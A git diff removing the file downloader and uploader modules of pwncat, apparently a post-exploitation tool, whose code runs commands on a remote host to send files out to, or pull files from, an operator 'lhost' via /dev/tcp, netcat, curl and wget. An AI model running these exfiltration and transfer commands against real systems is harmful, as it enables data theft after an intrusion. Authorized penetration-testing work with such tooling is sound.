diff --git a/pwncat/downloader/__init__.py b/pwncat/downloader/__init__.py deleted file mode 100644 index f3430de..0000000 --- a/pwncat/downloader/__init__.py +++ /dev/null @@ -1,44 +0,0 @@ -#!/usr/bin/env python3 - -from typing import Type, List - -from pwncat.downloader.base import Downloader, DownloadError -from pwncat.downloader.nc import NetcatDownloader -from pwncat.downloader.curl import CurlDownloader -from pwncat.downloader.bashtcp import BashTCPDownloader -from pwncat.downloader.gtfo import GtfoBinsDownloader - -all_downloaders = [ - GtfoBinsDownloader, - NetcatDownloader, - CurlDownloader, - BashTCPDownloader, -] - - -def get_names() -> List[str]: - """ get the names of all downloaders """ - return [d.NAME for d in all_downloaders] - - -def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Downloader]: - """ Locate an applicable downloader """ - - if hint is not None: - # Try to return the requested downloader - for d in all_downloaders: - if d.NAME != hint: - continue - d.check(pty) - return d - - raise DownloadError(f"{hint}: no such downloader") - - for d in all_downloaders: - try: - d.check(pty) - return d - except DownloadError: - continue - - raise DownloadError("no acceptable downloaders found") diff --git a/pwncat/downloader/base.py b/pwncat/downloader/base.py deleted file mode 100644 index 6e0ec12..0000000 --- a/pwncat/downloader/base.py +++ /dev/null @@ -1,177 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator, Callable -from http.server import BaseHTTPRequestHandler, HTTPServer -from socketserver import TCPServer, BaseRequestHandler -from functools import partial -import threading -import socket -import os - -from pwncat import util - - -class DownloadError(Exception): - """ An error occurred while attempting to run a downloader """ - - -class Downloader: - - # Binaries which are needed on the remote host for this downloader - BINARIES = [] - - @classmethod - def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: - """ Check if the given PTY connection can support this downloader """ - for binary in cls.BINARIES: - if isinstance(binary, list) or isinstance(binary, tuple): - for equivalent in binary: - if pty.which(equivalent): - return - elif pty.which(binary) is not None: - return - raise DownloadError(f"required remote binary not found: {binary}") - - def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str): - self.pty = pty - self.local_path = local_path - self.remote_path = remote_path - - def command(self) -> Generator[str, None, None]: - """ Generate the commands needed to send this file back. This is a - generator, which yields strings which will be executed on the remote - host. """ - return - - def serve(self, on_progress: Callable): - """ Start any servers on the local end which are needed to download the - original_content. """ - return - - def shutdown(self): - """ Shutdown any attacker servers that were started """ - return - - -class HttpPostFileReceiver(BaseHTTPRequestHandler): - def __init__( - self, request, addr, server, downloader: "HTTPDownloader", on_progress: Callable - ): - self.downloader = downloader - self.on_progress = on_progress - super(HttpPostFileReceiver, self).__init__(request, addr, server) - - def do_PUT(self): - """ handle http POST request """ - - if self.path != f"/{os.path.basename(self.downloader.remote_path)}": - self.send_error(404) - return - - length = int(self.headers["Content-Length"]) - copied = 0 - chunksz = 1024 * 1024 - - self.send_response(200) - self.send_header("Content-Length", "1") - self.end_headers() - self.flush_headers() - - self.rfile = self.rfile.detach() - - with open(self.downloader.local_path, "wb") as filp: - while copied < length: - block = self.rfile.read(chunksz) - filp.write(block) - copied += len(block) - self.on_progress(copied, len(block)) - - def do_POST(self): - return self.do_PUT() - - def log_message(self, *args, **kwargs): - return - - -class HTTPDownloader(Downloader): - """ Base class for HTTP POST based downloaders. This takes care of setting - up the local HTTP server and saving the file. Just provide the commands - for the remote host to trigger the upload """ - - @classmethod - def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: - """ Make sure we have an lhost """ - if pty.vars.get("lhost", None) is None: - raise DownloadError("no lhost provided") - - def __init__( - self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str, - ): - super(HTTPDownloader, self).__init__(pty, remote_path, local_path) - self.server = None - - def serve(self, on_progress: Callable): - self.server = HTTPServer( - ("0.0.0.0", 0), - partial(HttpPostFileReceiver, downloader=self, on_progress=on_progress), - ) - - thread = threading.Thread( - target=lambda: self.server.serve_forever(), daemon=True - ) - thread.start() - - def shutdown(self): - self.server.shutdown() - - -class RawDownloader(Downloader): - """ Base class for raw socket based downloaders. This takes care of setting - up the socket server and saving the file. Just provide the commands to - initiate the raw socket transfer on the remote host to trigger the - upload """ - - @classmethod - def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: - """ Make sure we have an lhost """ - if pty.vars.get("lhost", None) is None: - raise DownloadError("no lhost provided") - - def __init__( - self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str, - ): - super(RawDownloader, self).__init__(pty, remote_path, local_path) - self.server = None - - def serve(self, on_progress: Callable): - - # Make sure it is accessible to the subclass - local_path = self.local_path - - class SocketWrapper: - def __init__(self, sock): - self.s = sock - - def read(self, n: int): - try: - return self.s.recv(n) - except socket.timeout: - return b"" - - # Class to handle incoming connections - class ReceiveFile(BaseRequestHandler): - def handle(self): - self.request.settimeout(1) - with open(local_path, "wb") as fp: - util.copyfileobj(SocketWrapper(self.request), fp, on_progress) - self.request.close() - - self.server = TCPServer(("0.0.0.0", 0), ReceiveFile) - - thread = threading.Thread( - target=lambda: self.server.serve_forever(), daemon=True - ) - thread.start() - - def shutdown(self): - """ Shutdown the server """ - self.server.shutdown() diff --git a/pwncat/downloader/bashtcp.py b/pwncat/downloader/bashtcp.py deleted file mode 100644 index 47f571a..0000000 --- a/pwncat/downloader/bashtcp.py +++ /dev/null @@ -1,20 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator -import shlex - -from pwncat.downloader.base import RawDownloader, DownloadError - - -class BashTCPDownloader(RawDownloader): - - NAME = "bashtcp" - BINARIES = ["bash", "dd"] - - def command(self) -> Generator[str, None, None]: - """ Generate the curl command to post the file """ - - lhost = self.pty.vars["lhost"] - lport = self.server.server_address[1] - remote_path = shlex.quote(self.remote_path) - - self.pty.run(f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,) diff --git a/pwncat/downloader/curl.py b/pwncat/downloader/curl.py deleted file mode 100644 index 6336f26..0000000 --- a/pwncat/downloader/curl.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator -import shlex - -from pwncat.downloader.base import HTTPDownloader, DownloadError - - -class CurlDownloader(HTTPDownloader): - - NAME = "curl" - BINARIES = ["curl"] - - def command(self) -> Generator[str, None, None]: - """ Generate the curl command to post the file """ - - lhost = self.pty.vars["lhost"] - lport = self.server.server_address[1] - curl = self.pty.which("curl", quote=True) - remote_path = shlex.quote(self.remote_path) - - self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}") diff --git a/pwncat/downloader/gtfo.py b/pwncat/downloader/gtfo.py deleted file mode 100644 index f09056f..0000000 --- a/pwncat/downloader/gtfo.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python3 -from typing import Callable -import os - -from pwncat.gtfobins import Capability, Stream -from pwncat.downloader.base import Downloader, DownloadError -from pwncat import util - - -class GtfoBinsDownloader(Downloader): - - NAME = "gtfobins" - - def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str): - super(GtfoBinsDownloader, self).__init__(pty, remote_path, local_path) - self.on_progress = None - - def command(self): - - with self.pty.open(self.remote_path, "rb") as remote: - with open(self.local_path, "wb") as local: - util.copyfileobj(remote, local, self.on_progress) - - def serve(self, on_progress: Callable): - self.on_progress = on_progress diff --git a/pwncat/downloader/nc.py b/pwncat/downloader/nc.py deleted file mode 100644 index 82d70f9..0000000 --- a/pwncat/downloader/nc.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator -import shlex - -from pwncat.downloader.base import RawDownloader, DownloadError - - -class NetcatDownloader(RawDownloader): - - NAME = "nc" - BINARIES = ["nc"] - - def command(self) -> Generator[str, None, None]: - """ Return the commands needed to trigger this download """ - - lhost = self.pty.vars["lhost"] - lport = self.server.server_address[1] - nc = self.pty.which("nc", quote=True) - remote_file = shlex.quote(self.remote_path) - - self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}") diff --git a/pwncat/downloader/raw.py b/pwncat/downloader/raw.py deleted file mode 100644 index 2401a03..0000000 --- a/pwncat/downloader/raw.py +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator, Callable -from io import BufferedReader -import base64 -import shlex - -from pwncat.downloader.base import Downloader, DownloadError -from pwncat import util - - -class RawShellDownloader(Downloader): - - NAME = "raw" - BINARIES = [("dd", "cat")] - BLOCKSZ = 8192 - - def command(self): - - remote_path = shlex.quote(self.remote_path) - blocksz = 1024 * 1024 - binary = self.pty.which("dd", quote=True) - - if binary is None: - binary = self.pty.which("cat", quote=True) - - if "dd" in binary: - pipe = self.pty.subprocess( - f"{binary} if={remote_path} bs={blocksz} 2>/dev/null" - ) - else: - pipe = self.pty.subprocess(f"{binary} {remote_path}") - - try: - with open(self.local_path, "wb") as filp: - util.copyfileobj(pipe, filp, self.on_progress) - finally: - self.on_progress(0, -1) - pipe.close() - - return False - - def serve(self, on_progress: Callable): - """ We don't need to start a server, but we do need to save the - callback """ - self.on_progress = on_progress diff --git a/pwncat/downloader/shell.py b/pwncat/downloader/shell.py deleted file mode 100644 index aea48b4..0000000 --- a/pwncat/downloader/shell.py +++ /dev/null @@ -1,48 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator, Callable -import base64 -import shlex - -from pwncat.downloader.base import Downloader, DownloadError - - -class ShellDownloader(Downloader): - - NAME = "shell" - BINARIES = ["dd", "base64"] - BLOCKSZ = 8192 - - def command(self) -> Generator[str, None, None]: - """ Yield list of commands to transfer the file """ - - remote_path = shlex.quote(self.remote_path) - - with open(self.local_path, "wb") as filp: - blocknr = 0 - copied = 0 - while True: - - # Read the data - x = self.pty.run( - "dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format( - remote_path, self.BLOCKSZ, blocknr - ) - ) - if x == b"" or x == b"\r\n": - break - - # Decode the data - data = base64.b64decode(x) - - # Send the data and call the progress function - filp.write(data) - copied += len(data) - self.on_progress(copied, len(data)) - - # Increment block number - blocknr += 1 - - def serve(self, on_progress: Callable): - """ We don't need to start a server, but we do need to save the - callback """ - self.on_progress = on_progress diff --git a/pwncat/uploader/__init__.py b/pwncat/uploader/__init__.py deleted file mode 100644 index 2c52674..0000000 --- a/pwncat/uploader/__init__.py +++ /dev/null @@ -1,48 +0,0 @@ -#!/usr/bin/env python3 -from typing import Type, List - -from pwncat.uploader.base import Uploader, UploadError -from pwncat.uploader.nc import NetcatUploader -from pwncat.uploader.curl import CurlUploader -from pwncat.uploader.bashtcp import BashTCPUploader -from pwncat.uploader.wget import WgetUploader -from pwncat.uploader.gtfo import GtfoBinsUploader - -all_uploaders = [ - GtfoBinsUploader, - NetcatUploader, - CurlUploader, - BashTCPUploader, - WgetUploader, -] - - -def get_names() -> List[str]: - """ Return the names of all uploaders """ - return [u.NAME for u in all_uploaders] - - -def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]: - """ Locate an applicable uploader """ - - if hint == "": - hint = None - - if hint is not None: - # Try to return the requested uploader - for d in all_uploaders: - if d.NAME != hint: - continue - d.check(pty) - return d - - raise UploadError(f"{hint}: no such uploader") - - for d in all_uploaders: - try: - d.check(pty) - return d - except UploadError: - continue - - raise UploadError("no acceptable uploaders found") diff --git a/pwncat/uploader/base.py b/pwncat/uploader/base.py deleted file mode 100644 index a2da391..0000000 --- a/pwncat/uploader/base.py +++ /dev/null @@ -1,165 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator, Callable -from http.server import BaseHTTPRequestHandler, HTTPServer -from socketserver import TCPServer, BaseRequestHandler -from functools import partial -import threading -import socket -import os - -from pwncat import util - - -class UploadError(Exception): - """ An error occurred while attempting to run a uploader """ - - -class Uploader: - - # Binaries which are needed on the remote host for this uploader - BINARIES = [] - - @classmethod - def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: - """ Check if the given PTY connection can support this uploader """ - for binary in cls.BINARIES: - if pty.which(binary) is None: - raise UploadError(f"required remote binary not found: {binary}") - - def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str): - self.pty = pty - self.local_path = local_path - self.remote_path = remote_path - - def command(self) -> Generator[str, None, None]: - """ Generate the commands needed to send this file. This is a - generator, which yields strings which will be executed on the remote - host. """ - return - - def serve(self, on_progress: Callable): - """ Start any servers on the local end which are needed to download the - original_content. """ - return - - def shutdown(self): - """ Shutdown any attacker servers that were started """ - return - - -class HttpGetFileHandler(BaseHTTPRequestHandler): - def __init__( - self, request, addr, server, uploader: "HTTPUploader", on_progress: Callable - ): - self.uploader = uploader - self.on_progress = on_progress - super(HttpGetFileHandler, self).__init__(request, addr, server) - - def do_GET(self): - """ handle http POST request """ - - if self.path != "/": - self.send_error(404) - return - - length = os.path.getsize(self.uploader.local_path) - - self.send_response(200) - self.send_header("Content-Length", str(length)) - self.send_header("Content-Type", "application/octet-stream") - self.end_headers() - - with open(self.uploader.local_path, "rb") as filp: - util.copyfileobj(filp, self.wfile, self.on_progress) - - def log_message(self, *args, **kwargs): - return - - -class HTTPUploader(Uploader): - """ Base class for HTTP POST based downloaders. This takes care of setting - up the local HTTP server and saving the file. Just provide the commands - for the remote host to trigger the upload """ - - @classmethod - def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: - super(HTTPUploader, cls).check(pty) - """ Make sure we have an lhost """ - if pty.vars.get("lhost", None) is None: - raise UploadError("no lhost provided") - - def __init__( - self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str, - ): - super(HTTPUploader, self).__init__(pty, remote_path, local_path) - self.server = None - - def serve(self, on_progress: Callable): - self.server = HTTPServer( - ("0.0.0.0", 0), - partial(HttpGetFileHandler, uploader=self, on_progress=on_progress), - ) - - thread = threading.Thread( - target=lambda: self.server.serve_forever(), daemon=True - ) - thread.start() - - def shutdown(self): - self.server.shutdown() - - -class RawUploader(Uploader): - """ Base class for raw socket based downloaders. This takes care of setting - up the socket server and saving the file. Just provide the commands to - initiate the raw socket transfer on the remote host to trigger the - upload """ - - @classmethod - def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: - super(RawUploader, cls).check(pty) - """ Make sure we have an lhost """ - if pty.vars.get("lhost", None) is None: - raise UploadError("no lhost provided") - - def __init__( - self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str, - ): - super(RawUploader, self).__init__(pty, remote_path, local_path) - self.server = None - - def serve(self, on_progress: Callable): - - # Make sure it is accessible to the subclass - local_path = self.local_path - pty = self.pty - - class SocketWrapper: - def __init__(self, sock): - self.s = sock - - def write(self, n: int): - try: - return self.s.send(n) - except socket.timeout: - return b"" - - # Class to handle incoming connections - class ReceiveFile(BaseRequestHandler): - def handle(self): - self.request.settimeout(1) - with open(local_path, "rb") as filp: - util.copyfileobj(filp, SocketWrapper(self.request), on_progress) - self.request.close() - pty.client.send(util.CTRL_C) - - self.server = TCPServer(("0.0.0.0", 0), ReceiveFile) - - thread = threading.Thread( - target=lambda: self.server.serve_forever(), daemon=True - ) - thread.start() - - def shutdown(self): - """ Shutdown the server """ - self.server.shutdown() diff --git a/pwncat/uploader/bashtcp.py b/pwncat/uploader/bashtcp.py deleted file mode 100644 index 717d92a..0000000 --- a/pwncat/uploader/bashtcp.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator -import shlex - -from pwncat.uploader.base import RawUploader - - -class BashTCPUploader(RawUploader): - - NAME = "bashtcp" - BINARIES = ["bash", "dd"] - - def command(self) -> Generator[str, None, None]: - """ Generate the curl command to post the file """ - - lhost = self.pty.vars["lhost"] - lport = self.server.server_address[1] - remote_path = shlex.quote(self.remote_path) - - self.pty.run( - f"""bash -c "dd of={remote_path} < /dev/tcp/{lhost}/{lport}" """, wait=False - ) diff --git a/pwncat/uploader/curl.py b/pwncat/uploader/curl.py deleted file mode 100644 index 13bd6dc..0000000 --- a/pwncat/uploader/curl.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator -import shlex - -from pwncat.uploader.base import HTTPUploader - - -class CurlUploader(HTTPUploader): - - NAME = "curl" - BINARIES = ["curl"] - - def command(self) -> Generator[str, None, None]: - """ Generate the curl command to post the file """ - - lhost = self.pty.vars["lhost"] - lport = self.server.server_address[1] - curl = self.pty.which("curl") - remote_path = shlex.quote(self.remote_path) - - self.pty.run( - f"{curl} --output {remote_path} http://{lhost}:{lport}", wait=False - ) diff --git a/pwncat/uploader/gtfo.py b/pwncat/uploader/gtfo.py deleted file mode 100644 index 6b46de5..0000000 --- a/pwncat/uploader/gtfo.py +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/env python3 -from typing import Callable -import os - -from pwncat.uploader.base import Uploader, UploadError -from pwncat import util - - -def fake(x, y): - pass - - -class GtfoBinsUploader(Uploader): - - NAME = "gtfobins" - - def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str): - super(GtfoBinsUploader, self).__init__(pty, remote_path, local_path) - - self.length = os.path.getsize(local_path) - self.on_progress = None - - def command(self): - with self.pty.open(self.remote_path, "wb", length=self.length) as remote: - with open(self.local_path, "rb") as local: - util.copyfileobj(local, remote, self.on_progress) - - def serve(self, on_progress: Callable): - self.on_progress = on_progress diff --git a/pwncat/uploader/nc.py b/pwncat/uploader/nc.py deleted file mode 100644 index 2893704..0000000 --- a/pwncat/uploader/nc.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator -import shlex - -from pwncat.uploader.base import RawUploader - - -class NetcatUploader(RawUploader): - - NAME = "nc" - BINARIES = ["nc"] - - def command(self) -> Generator[str, None, None]: - """ Return the commands needed to trigger this download """ - - lhost = self.pty.vars["lhost"] - lport = self.server.server_address[1] - nc = self.pty.which("nc", quote=True) - remote_file = shlex.quote(self.remote_path) - - self.pty.run(f"{nc} {lhost} {lport} > {remote_file}", wait=False) diff --git a/pwncat/uploader/raw.py b/pwncat/uploader/raw.py deleted file mode 100644 index 90c7311..0000000 --- a/pwncat/uploader/raw.py +++ /dev/null @@ -1,42 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator, Callable -from io import BufferedReader -import base64 -import shlex -import socket -import os - -from pwncat.uploader.base import Uploader, UploadError -from pwncat import util - - -class RawShellUploader(Uploader): - - NAME = "raw" - BINARIES = ["dd"] - BLOCKSZ = 8192 - - def command(self) -> Generator[str, None, None]: - """ Yield list of commands to transfer the file """ - - remote_path = shlex.quote(self.remote_path) - file_sz = os.path.getsize(self.local_path) - dd = self.pty.which("dd") - - with self.pty.subprocess( - f"{dd} of={remote_path} bs=1 count={file_sz} 2>/dev/null", mode="wb" - ) as stream: - try: - with open(self.local_path, "rb") as filp: - util.copyfileobj(filp, stream, self.on_progress) - finally: - self.on_progress(0, -1) - - # Get back to a terminal - - return False - - def serve(self, on_progress: Callable): - """ We don't need to start a server, but we do need to save the - callback """ - self.on_progress = on_progress diff --git a/pwncat/uploader/shell.py b/pwncat/uploader/shell.py deleted file mode 100644 index 222e71a..0000000 --- a/pwncat/uploader/shell.py +++ /dev/null @@ -1,39 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator, Callable -import base64 -import shlex - -from pwncat.uploader.base import Uploader, UploadError - - -class ShellUploader(Uploader): - - NAME = "shell" - BINARIES = ["base64"] - BLOCKSZ = 8192 - - def command(self) -> Generator[str, None, None]: - """ Yield list of commands to transfer the file """ - - remote_path = shlex.quote(self.remote_path) - - # Empty the file - self.pty.run(f"echo -n > {remote_path}") - - with open(self.local_path, "rb") as filp: - copied = 0 - for block in iter(lambda: filp.read(self.BLOCKSZ), b""): - - # Encode as a base64 string - encoded = base64.b64encode(block).decode("utf-8") - - # Read the data - self.pty.run(f"echo -n {encoded} | base64 -d >> {remote_path}") - - copied += len(block) - self.on_progress(copied, len(block)) - - def serve(self, on_progress: Callable): - """ We don't need to start a server, but we do need to save the - callback """ - self.on_progress = on_progress diff --git a/pwncat/uploader/wget.py b/pwncat/uploader/wget.py deleted file mode 100644 index 8430847..0000000 --- a/pwncat/uploader/wget.py +++ /dev/null @@ -1,20 +0,0 @@ -#!/usr/bin/env python3 -from typing import Generator -import shlex - -from pwncat.uploader.base import HTTPUploader - - -class WgetUploader(HTTPUploader): - - NAME = "wget" - BINARIES = ["wget"] - - def command(self) -> Generator[str, None, None]: - """ Generate the curl command to post the file """ - - lhost = self.pty.vars["lhost"] - lport = self.server.server_address[1] - remote_path = shlex.quote(self.remote_path) - - self.pty.run(f"wget -O {remote_path} http://{lhost}:{lport}", wait=False)